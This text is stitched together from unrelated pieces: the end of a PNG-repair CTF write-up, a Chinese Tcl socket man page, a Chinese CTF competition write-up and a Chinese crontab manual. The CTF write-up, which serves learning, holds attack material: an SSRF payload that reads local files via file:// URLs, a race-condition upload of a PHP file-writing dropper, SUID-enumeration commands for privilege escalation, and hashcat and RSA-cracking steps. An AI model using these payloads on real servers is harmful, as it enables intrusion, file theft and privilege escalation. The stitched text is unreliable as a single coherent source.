root@kali:/media/sf_CTFs/technion/Corrupted_Quack# xxd -g 1 -skip 987435 corrupted_quack.png
000f112b: 44 55 43 4b ae 42 60 82 DUCK.B`.
```
This is the last chunk, which according to the specs should be called `IEND`. Let's fix it:
```console
root@kali:/media/sf_CTFs/technion/Corrupted_Quack# printf 'IEND' | dd conv=notrunc of=corrupted_quack.png bs=1 seek=987435
4+0 records in
4+0 records out
4 bytes copied, 0.00186267 s, 2.1 kB/s
root@kali:/media/sf_CTFs/technion/Corrupted_Quack# xxd -g 1 corrupted_quack.png | tail -n 2
000f1120: f8 81 db 9c 24 4c 90 00 00 00 00 49 45 4e 44 ae ....$L.....IEND.
000f1130: 42 60 82 B`.
root@kali:/media/sf_CTFs/technion/Corrupted_Quack# pngcheck corrupted_quack.png
OK: corrupted_quack.png (1280x1024, 32-bit RGB+alpha, non-interlaced, 81.2%).
```
Finally, we have a good PNG. The flag is in the image: `cstechnion{h3x4quackc1mal}`.
|
sec-knowleage
|
'\"
'\" Copyright (c) 1996 Sun Microsystems, Inc.
'\" Copyright (c) 1998-1999 by Scriptics Corporation.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: socket.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: socket.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH socket 3tcl 8.0 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
socket \- 打开一个 TCP 网络连接
.SH "总览 SYNOPSIS"
.sp
\fBsocket \fR?\fIoptions\fR? \fIhost port\fR
.sp
\fBsocket\fR \fB\-server \fIcommand\fR ?\fIoptions\fR? \fIport\fR
.BE
.SH "描述 DESCRIPTION"
.PP
这个命令打开一个网络套接口并返回将来可被 \fBread\fR、\fBputs\fR 和 \fBflush \fR命令调用使用一个通道标识符。目前只支持 TCP 网络协议;将来的发行可能包括对补充协议的支持。依赖于是否指定了 \fB-server\fR 开关,可以使用 \fBsocket\fR 命令来打开客户端或服务器端连接。
.SH "客户端套接口 CLIENT SOCKETS"
.PP
如果未指定 \fB-server\fR 选项,则打开一个的连接的客户端并且命令返回一个可被用于读写的通道标识符。 \fIPort\fR 和 \fIhost\fR 指定一个要连接到的端口;必须有一个服务器接受在这个端口上的连接。\fIPort\fR 是一个整数端口号而 \fIhost\fR 要么是一个域名式样的名字如 \fBwww.sunlabs.com\fR 要么是一个数值 IP 地址如\fB127.0.0.1\fR。 使用 \fIlocalhost\fR 来参照在其上调用这个命令的那个主机。
.PP
在 \fIhost\fR 之前可以提供下列选项指定关于连接的补充信息:
.TP
\fB\-myaddr\fI addr\fR
\fIAddr\fR 给出用于连接的客户端网络接口的域名式样的名字或数值 IP 地址。如果客户端机器有多个网络接口的话这个选项会有用处。如果省略了这个选项,则由系统软件选择客户端接口。
.TP
\fB\-myport\fI port\fR
\fIPort\fR 指定用于连接的客户端的一个整数端口号。如果省略了这个选项,则由系统软件随机的选择客户端口号。
.TP
\fB\-async\fR
\fB\-async\fR 选项将导致客户端套接口被异步的连接。这意味着这个套接口将被立即建立,但在到\fBsocket\fR的调用返回的时候可能仍未连接到服务器上。在连接尝试成功或失败之前调用了 gets 或 flush 的时候,如果套接口在阻塞模式下,则将等待直到连接被完成或失败。如果套接口在非阻塞模式之下,而在连接尝试成功或失败之前调用了 gets 或 flush ,则操作立即返回,并且在套接口上的 \fBfblocked\fR 返回 1。
.SH "服务器套接口 SERVER SOCKETS"
.PP
如果指定了 \fB-server\fR 选项,则新套接口将是用 \fIport \fR给出的端口的一个服务器。Tcl 将自动接受到这个给定端口的连接。对于每个连接 Tcl 将建立可以用来同客户通信的一个新通道。Tcl 接着调用 \fIcommand\fR 并加上三个补充参数: 新通道的名字,用网络地址表示的客户的主机地址,和客户的端口号。
.PP
在 \fIhost\fR 之前可以提供下列选项指定关于连接的补充信息:
.TP
\fB\-myaddr\fI addr\fR
\fIAddr\fR 给出用于连接的服务器端网络接口的域名式样的名字或数值 IP 地址。如果服务器机器有多个网络接口的话这个选项会有用处。如果省略了这个选项,则服务器套接口被绑定到特殊地址 INADDR_ANY 上,这样它可以接受来自任何接口的连接。
.PP
服务器通道不能被用来输入或输出;它们唯一的用处是接受新的客户连接。为每个到来的客户连接建立的通道是为输入和输出而打开的。关闭服务器通道将关断服务器,这样就不能接受新连接了,不影响现存的连接。
.PP
服务器套接口依赖于 Tcl 事件机制来找出何时打开了新连接。如果应用未进入事件循环,例如通过调用 \fBvwait\fR 命令或调用 C 过程 \fBTcl_DoOneEvent\fR,则不接受连接。
.SH "配置选项 CONFIGURATION OPTIONS"
可以使用 \fBfconfigure\fR 命令来查询套接口通道的许多只读配置选项:
.VS 8.0.5
.TP
\fB\-error\fR
这个选项得到给定套接口的当前错误状态。在你需要确定一个异步连接操作是否成功的时候这个选项会有用处。如果有一个错误,则返回错误消息。如果没有错误,则返回空串。
.VE 8.0.5
.TP
\fB\-sockname\fR
这个选项返回三个元素的一个列表,分别是这个套接口的地址、主机名和端口号。如果不能计算出这个主机名,第二个元素等同与列表的第一个元素地址。
.TP
\fB\-peername\fR
服务器套接口不支持这个选项。对于客户和接受的套接口,这个选项返回三个元素的一个列表;它们是地址、主机名字和对等的套接口所连接或绑定到端口。如果不能计算出这个主机名,第二个元素等同与列表的第一个元素地址。
.PP
.SH "参见 SEE ALSO"
flush(n), open(n), read(n)
.SH "关键字 KEYWORDS"
bind, channel, connection, domain name, host, network address, socket, tcp
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/11/10
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 上午
## web
### URL
页面输入存在url参数 ?url=,怀疑是SSRF,读取源码:
```
/index.php?url=file://localhost/ctf.cybersec/../../var/www/html/index.php&submit=SUBMIT
```
```php
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['submit'])){
$url = $_GET['url'];
if (preg_match('/ctf\.cybersec/i', $url)) {
if (preg_match('/\@|\#|\?/i', $url)) {
die('not @#?');
} else {
$parts = parse_url($url);
if (empty($parts['host']) || $parts['host'] != 'localhost') {
exit('host must be localhost');
} else {
curl($url);
}
}
} else {
die("The URL must contain the 'ctf.cybersec'");
}
}
?>
```
源码里不存在flag和提示,经过尝试找到flag在/flag.txt:
```
/index.php?url=file://localhost/ctf.cybersec/../flag.txt&submit=SUBMIT
```
---
### upload
文件上传提示200OK,但访问又是404,解法是条件竞争,burp开两个intruder窗口,一个持续上传,一个持续访问预期文件名,线程调高即可。
上传生成马:
```php
<?php file_put_contents("shell123.php","test888888<?php phpinfo();?>");?>
```
这题给了flag位置,在/root/flag,直接读是没有权限的,需要执行/etc/下的test才能读取flag,类似于大型竞赛的readflag程序,为了防止破坏flag。
这类readflag程序一般是通过SUID实现的,以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
```
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
```
---
# 下午
## Misc
### 签到
flag 就在图片里面
---
### RE_bitsconvert
**描述**
与门,或门和非门是常见的门电路,现有一个电路,其中一部分有与或非三个门,有一串电流序列,以一定的顺序通过了这个电路。现获取到电流通过这三个门之后的状态,那么原电流的序列是什么? 提示:md5(flag) == 4c753d89d239bb17b8d754ff981c7772
程序运行后要求输入 0、1,在输入到第32次后会判断答案,那么可以得出揭露 01组成的32位数 md5 == 4c753d89d239bb17b8d754ff981c7772
用 hashcat 爆破
```
hashcat.exe 4c753d89d239bb17b8d754ff981c7772 -a 3 -m 0 -3 01 ?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3?3
```
将 10011011101110000010111100001101 输入至程序得到 flag
flag{10011011-10111000-00101111-00001101}
---
### 被加密了的设备驱动
附件是一个加密的压缩包,爆破密码,是弱口令 05114568
解压出来是一个文本文件和一个加密的压缩包
ppp内容如下
```
1 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (hashlib)
6 STORE_NAME 0 (hashlib)
3 8 LOAD_CONST 2 (<code object encode at 0x035438B8, file "misc.py", line 3>)
10 LOAD_CONST 3 ('encode')
12 MAKE_FUNCTION 0
14 STORE_NAME 1 (encode)
10 16 LOAD_CONST 4 (<code object wrong at 0x03543910, file "misc.py", line 10>)
18 LOAD_CONST 5 ('wrong')
20 MAKE_FUNCTION 0
22 STORE_NAME 2 (wrong)
14 24 LOAD_NAME 3 (__name__)
26 LOAD_CONST 6 ('__main__')
28 COMPARE_OP 2 (==)
30 POP_JUMP_IF_FALSE 158
16 32 LOAD_NAME 4 (print)
34 LOAD_CONST 7 ('please input sth ')
36 CALL_FUNCTION 1
38 POP_TOP
17 40 LOAD_NAME 5 (raw_input)
42 CALL_FUNCTION 0
44 STORE_NAME 6 (sss)
19 46 LOAD_NAME 7 (len)
48 LOAD_NAME 6 (sss)
50 CALL_FUNCTION 1
52 LOAD_CONST 8 (14)
54 COMPARE_OP 3 (!=)
56 POP_JUMP_IF_FALSE 64
20 58 LOAD_NAME 2 (wrong)
60 CALL_FUNCTION 0
62 POP_TOP
22 >> 64 LOAD_NAME 6 (sss)
66 LOAD_CONST 1 (None)
68 LOAD_CONST 9 (9)
70 BUILD_SLICE 2
72 BINARY_SUBSCR
74 LOAD_CONST 10 ('clearlove')
76 COMPARE_OP 3 (!=)
78 POP_JUMP_IF_FALSE 86
23 80 LOAD_NAME 2 (wrong)
82 CALL_FUNCTION 0
84 POP_TOP
25 >> 86 LOAD_NAME 6 (sss)
88 LOAD_CONST 11 (-1)
90 BINARY_SUBSCR
92 LOAD_METHOD 8 (isdigit)
94 CALL_METHOD 0
96 POP_JUMP_IF_FALSE 130
98 LOAD_NAME 6 (sss)
100 LOAD_CONST 12 (-2)
102 BINARY_SUBSCR
104 LOAD_METHOD 8 (isdigit)
106 CALL_METHOD 0
108 POP_JUMP_IF_FALSE 130
110 LOAD_NAME 6 (sss)
112 LOAD_CONST 13 (-3)
114 BINARY_SUBSCR
116 LOAD_METHOD 8 (isdigit)
118 CALL_METHOD 0
120 POP_JUMP_IF_FALSE 130
26 122 LOAD_NAME 4 (print)
124 LOAD_CONST 14 ('type is right 0- 0')
126 CALL_FUNCTION 1
128 POP_TOP
28 >> 130 LOAD_NAME 1 (encode)
132 LOAD_NAME 6 (sss)
134 CALL_FUNCTION 1
136 LOAD_CONST 15 ('7276bf625a8c5e65b9e5966bed63bce0')
138 COMPARE_OP 2 (==)
140 POP_JUMP_IF_FALSE 152
29 142 LOAD_NAME 4 (print)
144 LOAD_CONST 16 ('you got it')
146 CALL_FUNCTION 1
148 POP_TOP
150 JUMP_FORWARD 6 (to 158)
31 >> 152 LOAD_NAME 2 (wrong)
154 CALL_FUNCTION 0
156 POP_TOP
>> 158 LOAD_CONST 1 (None)
160 RETURN_VALUE
Disassembly of <code object encode at 0x035438B8, file "misc.py", line 3>:
5 0 LOAD_GLOBAL 0 (hashlib)
2 LOAD_METHOD 1 (md5)
4 CALL_METHOD 0
6 STORE_FAST 1 (hl)
6 8 LOAD_FAST 1 (hl)
10 LOAD_METHOD 2 (update)
12 LOAD_FAST 0 (inpu)
14 LOAD_ATTR 3 (encode)
16 LOAD_CONST 1 ('utf-8')
18 LOAD_CONST 2 (('encoding',))
20 CALL_FUNCTION_KW 1
22 CALL_METHOD 1
24 POP_TOP
8 26 LOAD_FAST 1 (hl)
28 LOAD_METHOD 4 (hexdigest)
30 CALL_METHOD 0
32 RETURN_VALUE
Disassembly of <code object wrong at 0x03543910, file "misc.py", line 10>:
11 0 LOAD_GLOBAL 0 (print)
2 LOAD_CONST 1 ('wrong')
4 CALL_FUNCTION 1
6 POP_TOP
12 8 LOAD_GLOBAL 1 (exit)
10 CALL_FUNCTION 0
12 POP_TOP
14 LOAD_CONST 0 (None)
16 RETURN_VALUE
```
比赛时没做出来,赛后询问朋友得知是 opcode,密码规则是 clearlove + 任意2位字符 + 3位纯数字
```
hashcat 7276bf625a8c5e65b9e5966bed63bce0 -a 3 -m 0 clearlove?a?a?d?d?d
```
通过md5碰撞确认为 clearlove%?794
解压得到dll,用 strings 一下得到 flag
flag{signal_is_easy_more_challenge!}
---
### 异常的流量包
wireshark 打开流量包,过滤一下 s7comm 流量
光S7就足足17w个包,要么是跑脚本,要么是分析异常
按 info 排列, 在 setup communication 中最后一个包有异样
flag{is_not_real}
---
### 噪音
压缩包解压出来是个 mp3 文件
这一题需要使用 RX-SSTV 工具,这个 mp3 具有非常明显的特点,做过类似题目的都清楚
打开音频文件,点击 Receiving
---
### ezRSA
原题
output
```
publickey=[0x1d42aea2879f2e44dea5a13ae3465277b06749ce9059fd8b7b4b560cd861f99144d0775ffffffffffff,5]
c=421363015174981309103786520626603807427915973516427836319727073378790974986429057810159449046489151
```
encryption
```
[1,28657,2,1,3,17711,5,8,13,21,46368,75025,34,55,89,610,377,144,233,1597,2584,4181,6765,10946,987]
```
yafu 分 n
Sage 跑
```sage
p = 9749
q = 11237753507624591
r = 9127680453986244150392840833873266696712898279308227257525736684312919750469261
n = 999999999999999999999999999999999999999999999999989999999999999999999999999999999999999999999999999
assert(p*q*r==n)
F.<x> = PolynomialRing(Zmod(p))
F1.<y> = PolynomialRing(Zmod(q))
F2.<z> = PolynomialRing(Zmod(r))
equation = "x^5-421363015174981309103786520626603807427915973516427836319727073378790974986429057810159449046489151"
equationy = "y^5-421363015174981309103786520626603807427915973516427836319727073378790974986429057810159449046489151"
equationz = "z^5-421363015174981309103786520626603807427915973516427836319727073378790974986429057810159449046489151"
rootp = F(equation).roots()
rootq = F1(equationy).roots()
rootr = F2(equationz).roots()
print(rootp[0][0])
print(rootq)
print(rootr)
```
```py
from Crypto.Util.number import *
import gmpy2
def GCRT(mi, ai):
assert (isinstance(mi, list) and isinstance(ai, list))
curm, cura = mi[0], ai[0]
for (m, a) in zip(mi[1:], ai[1:]):
d = gmpy2.gcd(curm, m)
c = a - cura
assert (c % d == 0) # 不成立则不存在解
K = c / d * gmpy2.invert(curm / d, m / d)
cura += curm * K
curm = curm * m / d
return (cura % curm, curm) # (解,最小公倍数)
n = 0x1d42aea2879f2e44dea5a13ae3465277b06749ce9059fd8b7b4b560cd861f99144d0775ffffffffffff
c = 421363015174981309103786520626603807427915973516427836319727073378790974986429057810159449046489151
p = 9749
q = 11237753507624591
r = n / p / q
e = 5
p_roots = [7361]
q_roots = [2722510300825886, 6139772527803903, 6537111956662153, 8415400986072042, 9898464751509789]
r_roots = [180966415225632465120208272366108475667934082405238808958048294287011243645, 2816114411493328258682873357893989007684496552202823306045771363205185148674391, 1369135259891793292334345751773139388112378132927363770631732500241630990458667, 5570877862584063114417410584640901580756179707042774516590562822938385811269597, 8499052407588078002885931765166137308397074232361087682974448633946350539292222]
m_list = []
for pp in p_roots:
for qq in q_roots:
for rr in r_roots:
res = GCRT([p, q, r], [pp, qq, rr])[0]
if pow(res, e, n) == c:
print long_to_bytes(res)
```
得到 flag{weadfa9987_adwd23123_454f}
然后再进行达芬奇密码移位
```
w 1 1 w
e 1 28657 5
a 2 2 a
d 3 1 e
f 5 3 d
a 8 17711 4
9 13 5 f
9 21 8 a
8 34 13 9
7 55 21 9
_ 89 46368 4
a 144 75025 f
d 233 34 8
w 377 55 7
d 610 89 _
2 987 610 d
3 1597 377 w
1 2584 144 a
2 4181 233 d
3 6765 1597 3
_ 10946 2584 1
4 17711 4181 2
5 28657 6765 3
4 46368 10946 _
f 75025 987 2
```
---
### second
```py
# encoding=utf-8
import random
from Crypto.Util.number import *
from fractions import gcd
def encrypt(msg, pkey):
msg, cipher = bin(bytes_to_long(msg))[2:], []
x, N = pkey
for bi in msg:
while True:
r = random.randint(1, N)
if gcd(r, N) == 1:
br = bin(r)[2:]
c = (pow(x, int(br + bi, 2), N) * r ** 2) % N
cipher.append(c)
break
return cipher
def make_key( nbit):
while True:
p, q = getPrime(nbit), getPrime(nbit)
N, phi = p * q, (p-1)*(q-1)
x = random.randint(1, N)
if (N % 8 == 1) and (phi % 8 == 4) and (p != q):
if pow(q ** 2 * x, (p-1)//2, p) + pow(p ** 2 * x, (q-1)//2, q) == N - phi - 1:
break
return (x, N), phi
nbit = 1024
flag="***********************"
pkey,phi = make_key(nbit)
enc = encrypt(flag, pkey)
print(phi)
print(pkey[1])
print(enc)
```
pkey[1] = n
剩下的为enc
sage
```
phi = 18073342511837221460079448265787741023290378482015904462054097159488609786118551016838958389332085278802940181664501460095771901689503087144086198024806833996959331959272928036293631801766532099133638473934624346682456553826961816725646976571715537813264251649134636027997268150627008143101806585720576666552635220727965475452561023341230361554614389710341110220435494577939628686397164534445789296520767510563355259756674795624672252282836525189327763381160669526729256266794057252303945538201386053860877451403413384500268425016376208183084659635450679557312534013090665435717767450483806884512373580050402177593284
n= 18073342511837221460079448265787741023290378482015904462054097159488609786118551016838958389332085278802940181664501460095771901689503087144086198024806833996959331959272928036293631801766532099133638473934624346682456553826961816725646976571715537813264251649134636027997268150627008143101806585720576666552904172009606714255109363340397696863030182973649760792591286879810816823051552478391349772534968660059990629735959534213237559806337995734039618031181129875558746748836156813833869014328267780457412036742252093026494670819741341288486468556796613523206153120383915932057403484789687833422119777623841915278529
p=(n-phi+1-((n-phi+1)^2-4*n).nth_root(2))//2
q=n//p
Fp=Integers(p)
enc=[太大了,这里略]
flag=[0 if Fp(f).is_square() else 1 for f in enc]
print(flag)
```
[1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1]
flag{GO0D_J0b_of_TH1s_encrYption}
|
sec-knowleage
|
crontab
===
提交和管理用户的需要周期性执行的任务
## 补充说明
**crontab命令** 被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
### 语法
```shell
crontab(选项)(参数)
```
### 选项
```shell
-e:编辑该用户的计时器设置;
-l:列出该用户的计时器设置;
-r:删除该用户的计时器设置;
-u<用户名称>:指定要设定计时器的用户名称。
```
### 参数
crontab文件:指定包含待执行任务的crontab文件。
### 知识扩展
Linux下的任务调度分为两类: **系统任务调度** 和 **用户任务调度** 。
**系统任务调度:** 系统周期性所要执行的工作,比如写缓存数据到硬盘、日志清理等。在`/etc`目录下有一个crontab文件,这个就是系统任务调度的配置文件。
`/etc/crontab`文件包括下面几行:
```shell
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=""HOME=/
# run-parts
51 * * * * root run-parts /etc/cron.hourly
24 7 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
```
前四行是用来配置crond任务运行的环境变量,第一行SHELL变量指定了系统要使用哪个shell,这里是bash,第二行PATH变量指定了系统执行命令的路径,第三行MAILTO变量指定了crond的任务执行信息将通过电子邮件发送给root用户,如果MAILTO变量的值为空,则表示不发送任务执行信息给用户,第四行的HOME变量指定了在执行命令或者脚本时使用的主目录。
**用户任务调度:** 用户定期要执行的工作,比如用户数据备份、定时邮件提醒等。用户可以使用 crontab 工具来定制自己的计划任务。所有用户定义的crontab文件都被保存在`/var/spool/cron`目录中。其文件名与用户名一致,使用者权限文件如下:
```shell
/etc/cron.deny 该文件中所列用户不允许使用crontab命令
/etc/cron.allow 该文件中所列用户允许使用crontab命令
/var/spool/cron/ 所有用户crontab文件存放的目录,以用户名命名
```
crontab文件的含义:用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:
```shell
minute hour day month week command 顺序:分 时 日 月 周
```
其中:
* minute: 表示分钟,可以是从0到59之间的任何整数。
* hour:表示小时,可以是从0到23之间的任何整数。
* day:表示日期,可以是从1到31之间的任何整数。
* month:表示月份,可以是从1到12之间的任何整数。
* week:表示星期几,可以是从0到7之间的任何整数,这里的0或7代表星期日。
* command:要执行的命令,可以是系统命令,也可以是自己编写的脚本文件。
在以上各个字段中,还可以使用以下特殊字符:
* 星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。
* 逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”
* 中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”
* 正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。
**crond服务**
```shell
/sbin/service crond start # 启动服务
/sbin/service crond stop # 关闭服务
/sbin/service crond restart # 重启服务
/sbin/service crond reload # 重新载入配置
```
查看crontab服务状态:
```shell
service crond status
```
手动启动crontab服务:
```shell
service crond start
```
查看crontab服务是否已设置为开机启动,执行命令:
```shell
ntsysv
```
加入开机自动启动:
```shell
chkconfig –level 35 crond on
```
### 实例
每1分钟执行一次command
```shell
* * * * * command
```
每小时的第3和第15分钟执行
```shell
3,15 * * * * command
```
在上午8点到11点的第3和第15分钟执行
```shell
3,15 8-11 * * * command
```
每隔两天的上午8点到11点的第3和第15分钟执行
```shell
3,15 8-11 */2 * * command
```
每个星期一的上午8点到11点的第3和第15分钟执行
```shell
3,15 8-11 * * 1 command
```
每晚的21:30重启smb
```shell
30 21 * * * /etc/init.d/smb restart
```
每月1、10、22日的4 : 45重启smb
```shell
45 4 1,10,22 * * /etc/init.d/smb restart
```
每周六、周日的1:10重启smb
```shell
10 1 * * 6,0 /etc/init.d/smb restart
```
每天18 : 00至23 : 00之间每隔30分钟重启smb
```shell
0,30 18-23 * * * /etc/init.d/smb restart
```
每星期六的晚上11:00 pm重启smb
```shell
0 23 * * 6 /etc/init.d/smb restart
```
每一小时重启smb
```shell
0 */1 * * * /etc/init.d/smb restart
```
晚上11点到早上7点之间,每隔一小时重启smb
```shell
0 23-7/1 * * * /etc/init.d/smb restart
```
每月的4号与每周一到周三的11点重启smb
```shell
0 11 4 * mon-wed /etc/init.d/smb restart
```
一月一号的4点重启smb
```shell
0 4 1 jan * /etc/init.d/smb restart
```
